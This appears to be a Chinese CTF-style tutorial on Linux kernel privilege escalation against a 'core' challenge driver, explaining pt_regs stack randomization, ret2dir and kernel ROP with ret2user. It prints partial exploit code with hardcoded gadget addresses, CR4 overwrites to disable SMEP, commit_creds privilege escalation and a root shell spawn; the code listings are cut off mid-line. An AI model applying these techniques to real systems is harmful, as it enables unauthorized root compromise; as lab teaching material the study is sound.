1f:00f8│     0xffffc90000113ff8 ◂— 0x2b /* '+' */

新版本内核对抗利用 pt_regs 进行攻击的办法

内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值:

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
 #ifdef CONFIG_X86_64
 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
 {
+    add_random_kstack_offset();
     nr = syscall_enter_from_user_mode(regs, nr);
​
     instrumentation_begin();

当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了。

exp

#include 
#include 
#include 
#include 
#include 
#include 
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd 

执行 add_rsp_0xc8_pop*4_ret 时栈布局,rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode

image-20240905212807263

ret2dir

如果 ptregs 所在的内存被修改了导致可控内存变少,我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。

image-20240906090938018

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。

image-20240410172028837

但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用。

利用思路

  1. 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret

  2. 返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。

  3. 利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。

  4. 执行线性映射区的shellcode

exp

#include 
#include 
#include 
#include 
#include 
#include 
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
​
const size_t try_hit = 0xffff880000000000+0x7000000;
​
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
​
void save_status() 
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd 

流程

(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处,执行我们负责栈迁移的shell_code

ret2dir_yj

(2)将栈迁移到我们目标地址后,大量的slider gadget将栈不断抬升到get_root代码处,完成提权。

ret2dir_yi2

kernel rop + ret2user

利用思路

这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。

smep

例如,当

$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可关闭 smep 保护。

搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。

  • 如何查看 CR4 寄存器的值?

    gdb 无法查看 cr4 寄存器的值,可以通过kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0

exp

注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。

#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
#define KERNCALL __attribute__((regparm(3)))
​
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
​
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
​
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
void get_root() {
    commit_creds(prepare_kernel_cred(0));
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd 

更多网安技能的在线实操练习,请点击这里>>

  

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容